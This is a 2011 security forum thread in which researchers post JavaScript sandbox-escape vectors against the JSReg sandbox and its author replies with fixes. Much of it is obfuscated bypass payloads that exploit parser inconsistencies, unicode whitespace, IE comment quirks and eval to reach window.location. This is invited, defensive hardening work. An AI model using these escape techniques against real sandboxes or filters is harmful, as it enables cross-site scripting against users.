[[]][0]
++
{lo:{}/i/*alert(window[{}/'/i//'),('location'])*/-i/i}['lo']

hahaha :P


========================

Quote

Unbreakable now? C'mon show me the vector!

[sla.ckers.org]

and {}/"/i//"),("location"

This was so predictable ...

----------------------
~Veritas~



Edited 2 time(s). Last edit at 08/13/2011 05:44PM by LeverOne.

I should have seen that coming :) and fixed

Unbreakable now? C'mon show me the vector! :D

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 1 time(s). Last edit at 08/13/2011 06:48AM by Gareth Heyes.

I thought I'd just add the vectors I found for future reference, even though you already fixed them.

alert(window[0[0]/*/
--/*//*/>0),('location'
/*/])

alert(window[0[0]
/*/-->0),('location'
/*/])

alert(window[0[0]
-->0),('location'
])

----------------34----------------
_=/.+?('['_='+_(_)]+).+/,'_='+_(_)

0[0]
++
{lo:{}/'/+'/i}[0]//'};if(function()0))/'/,alert(location)//'

0[0]
+
+
{lo:{}/i/ /alert(window[{}/'/i//'),('location'])/i}[0]

@Jonas

Yeah, this is the entry point. Then comes the rewrite, which generates a chain of JS mutations. When we get into the zone, which is not checked, we use two errors. Firstly, the value of object accessor is validated separately. Second, incorrect insertion when rewriting expression closures.

----------------------
~Veritas~



Edited 2 time(s). Last edit at 08/23/2011 04:05PM by LeverOne.

@LeverOne: Really nice vectors! I'm still trying to wrap my head around them..
The ++ operator seems to be the way to get JSReg into a faulty state.

----------------34----------------
_=/.+?('['_='+_(_)]+).+/,'_='+_(_)

@Jonas

Yeah I'm still digesting them too, man that lever_one is badass. I'm pretty sure he's a machine constructed from javscript

Update..........

Ok fixed those with some defensive stuff
- Object accessor is checked for comments
- postfix/infix no longer created if separated by new lines
- / is not allowed in regex character class unless escaped
- functions now require a curly

Great work thanks!

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 1 time(s). Last edit at 08/24/2011 08:06AM by Gareth Heyes.

There's still a problem with the infix:
0[0]
++{}[0]

----------------34----------------
_=/.+?('['_='+_(_)]+).+/,'_='+_(_)

@Jonas

Good catch, asi is slightly wrong here since it is a syntax error to follow "]" with ++ on a new line

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

I planned on using this inconsistency in my next bypass, but I have so much other stuff to take care of.

0[{}/'regex and string'/+0]

When verifying the object accessor you are verifying an expression, but the way you verify it interpret it as a statement. In the above statement, the verification sees "a block, a regex plus zero" where as JSReg sees "an object divided by a string divided by positive zero". We can test this inconsistency with the following two statement:

0[{}/+0/+0] -> "Incorrect object accessor" due to incorrect regex /+0/ with invalid quantifier

0[{}/0+/+0] -> "Unterminated regex" due to 0+/+0]

This should be possible to exploit along the lines of:

1. alert(window[{}/.../+0])
2. replace ... with valid regex, that puts JSReg in an inconsistent state, such as [x+++{}/'/i//'...]
3. replace ... with malformed syntax that breaks J.P(...), such as ),('location'


I'm not saying that this is a working exploit, just along those lines. The fix would be quite simple;

if(!isValidSyntax('(' + code.slice(beginSquarePos, pos-1) + ')')) {                			
   error("Syntax error: Invalid object accessor");
}

----------------34----------------
_=/.+?('['_='+_(_)]+).+/,'_='+_(_)



Edited 2 time(s). Last edit at 08/24/2011 01:19PM by Jonas Magazinius.

Fixed the inconsistent state and the syntax check is now an expression! Thanks very much

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

if(!isValidSyntax('(' + code.slice(beginSquarePos, pos-1) + ')'))

this leads to the fact that {}[1),('location'] will be accepted as valid obj accessor.

I suggest:

if(!isValidSyntax('[' + code.slice(beginSquarePos, pos-1) + ']'))

----------------------
~Veritas~

@Lever_One

Agreed makes complete sense, I've changed it to [].

BTW is it harder to exploit now? Once we get to a stage of better security, the plan is then to make the parsing better and reduce the amount of code and try to optimise stuff like looking ahead and validation since it will be quite expensive

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Good catch LeverOne! And good suggestion using [] instead.

----------------34----------------
_=/.+?('['_='+_(_)]+).+/,'_='+_(_)

Quote

BTW is it harder to exploit now?

Much harder. Is this impossible? Probably not. ;)
I'll think about it.

----------------------
~Veritas~

1
function x(){}/'/i<!/**/--i,/'/i+
{x:1,
lo:{}/'/,alert(parent.location)//'}

This bypass based on a difference between two calls "rewrite".

rewriteLines:function(code) {
...
  converted = that.rewrite(code, true);  // goal: to remove comments from the code. 
...
  converted = that.rewrite(converted);   // wrapping, inserting, etc.
...

Look at parse tree to see this difference.

It will not a full fix, but I suggest:

function rewriteComments($comments) {                	 				
return ' ';// <-- %20
}

Bug:

try{}
catch(e){}

----------------------
~Veritas~



Edited 2 time(s). Last edit at 09/01/2011 07:47AM by LeverOne.

Pretty damn awesome, my response is to remove legacy comment parsing and force it into valid syntax and I fixed the catch bug thanks!!! Amazing work :O

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

alert(window[function(){
1
function x(){}/'/+/**/+
{}/"/;}),('location'||{lo:~/"/+/'/}])

----------------------
~Veritas~

I can't quite believe that vector, I've fixed it by as you suggested adding a space when a comment is removed but this vector has made me think I need to simplify and improve the parsing a great deal. Thanks again!

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

alert(window[function(){1
function x(){}/'/i+/*@cc_on'*/i}),(/location/.source||{lo:+/'@*/}])

There were parsing problems that were removed by adding a semicolon. Now they are back.To completely fix this, you need to eliminate the difference between the two rounds of "rewrite".

----------------------
~Veritas~



Edited 2 time(s). Last edit at 09/03/2011 11:29AM by LeverOne.

I disallow conditional comments now (nice trick btw changing the state inside a comment) I've also removed the two rounds of rewriting now since legacy comments are now not supported and I've removed the infix/postfix detection and ++ are detected as operators instead and code reduced slightly thanks for the awesome work again of course!

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Do something with inline comments. For example, you can throw an error. If you're going to delete or modify inline comments without checking the syntax then, it will make vulnerable IE or non-IE group.

-----------
Btw, there is another option. You can delete the new lines in object literals. Nowhere else you can not insert new lines, so inline comment can not be exploited.

before:

1<!--{x:1,
lo:{}/'/,alert(parent.location)//'}

after:

1<!--{x:1,lo:{}/'/,alert(parent.location)//'}

But it's syntactically incorrect.

----------------------
~Veritas~



Edited 1 time(s). Last edit at 09/05/2011 09:37AM by LeverOne.

Did quite a lot of work on it, now I've improved regexes so the following is converted:-

/[/]/ to /[\/]/

before it used to raise an error. Also stuff like /[[]/ gets converted to /[\[]/.
I've decided to add a space after < or > so window<!--window becomes $window$< !--$window$ and window-->window becomes $window$-- >$window$.

Thanks for the object literal new line pointer, this was actually a bug since the literal regex was accounting for spaces therefore matching them inside the rule. I've fixed this so the prop name is trimmed, while debugging that I noticed for example the following bypasses the object literal protection:-

1,{a:123,
//aaa
"abc"
//aaa
:123}

Since the regex is expecting the "abc" to have ":" after which it does but only when comments are stripped. Since now there is only one round of comment stripping then the check will fail, so I decided to create a lookahead function which looks forward to the next character ignoring comments. I need to add this throughout the code as it's much faster than regexing the entire string each time I need to look forward.

Thanks again! Where can you hide that payload now? :D

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 1 time(s). Last edit at 09/06/2011 09:42AM by Gareth Heyes.

Quote

I've decided to add a space after < or > so window<!--window becomes $window$< !--$window$ and window-->window becomes $window$-- >$window$.

Any modification to the original code (that changes a syntactic group) w/o syntax check is dangerous. Look:

1<!--)(i

Quote

Where can you hide that payload now?

alert(window[function(){1<!--i+
{}/i+/i+'/i }),(/location/.source||{lo:+/'/i}])

----------------------
~Veritas~

Excellent point!

So to counteract that I decided to maintain a separate corrected output which includes rewriting of syntax but not any sandboxing features such as J.P etc in object accessors. This way I can run a syntax check on the corrected output.

Let the hide and seek game continue.... :D

Update...
Fixed up the string object prop detection, it had problems with ternary operators such as :-

0?
'abc':0

and
0?0:1?'abc':1

Can you break it? :)

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 2 time(s). Last edit at 09/08/2011 08:45PM by Gareth Heyes.

You ask, I hack..

this['']=1;
i=1;
alert(eval('window[\u00a0/"("),(")"/i,"location"]'))

And there's plenty more where that came from... ;D

The "("),(")" trickery is just to get balanced parenthesis in FF. Chrome is much simpler:

alert(eval('window[\u00a0/0),(0/i,"location"]'))

----------------34----------------
_=/.+?('['_='+_(_)]+).+/,'_='+_(_)

Just amazing :D

I need to wrap my head round these, do you have any without eval or is it just the eval/Function/setTimeout etc that is vulnerable?

Update...
Ok nice I noticed my variable regex wasn't perfect :D now I add all spaces in it. Fixed and thanks!

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 1 time(s). Last edit at 09/14/2011 08:00AM by Gareth Heyes.

I did have a working bypass without eval before your fix >:)

alert(window[\u3000/'('),(')'/i,'location']) // replace \u3000 with actual char


Here's a new FF one which bypasses the latest update:

this['']=1;
eval('$\u200bin\u200bfunction\u200b$()/"/,alert(location)//";')

----------------34----------------
_=/.+?('['_='+_(_)]+).+/,'_='+_(_)

Ah so I was stupid and forgot the second part of the variable regex, I think I'll change it to use a whitelist of valid tokens. Nice work again :D

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Quote

Can you break it?

Don't worry, I will tell you, if I can't break it. When I will say I can't break it? No sooner than I will analyze each line of your code. It will be not quickly.

IE 6-8 (or those compatibility modes)

with({'if':function(){}})if
(1)/'/+/*'+alert(window[//
),('location'
])+/lo*/i

Еxplanation:

For IE6-8 chars "\u2028" and "\u2029" and other unicode spaces are not included in the set of "\s" , but they have some features of the new lines or spaces. The exception is the inline comments.

Therefore, ALL these lines of JSReg code as:

spaces = /\s*/
str = str.replace(/^\s*'/,"'$$");
...
etc,etc

, are vulnerable. I have given of course only one way to exploit.

alert(/\s/.test('\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u200b\u3000\u2028\u2029'))

----------------------
~Veritas~



Edited 3 time(s). Last edit at 09/17/2011 11:16AM by LeverOne.

This last bug resulted in me swearing a lot at ie compat mode. Grrrrrrrrr no easy solution to this other than replacing \s or doing a first pass and converting literal 0x2028/9 into new lines sigh. I may be some time with the fix unless I can figure some hackish way of doing it. Great bug!

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]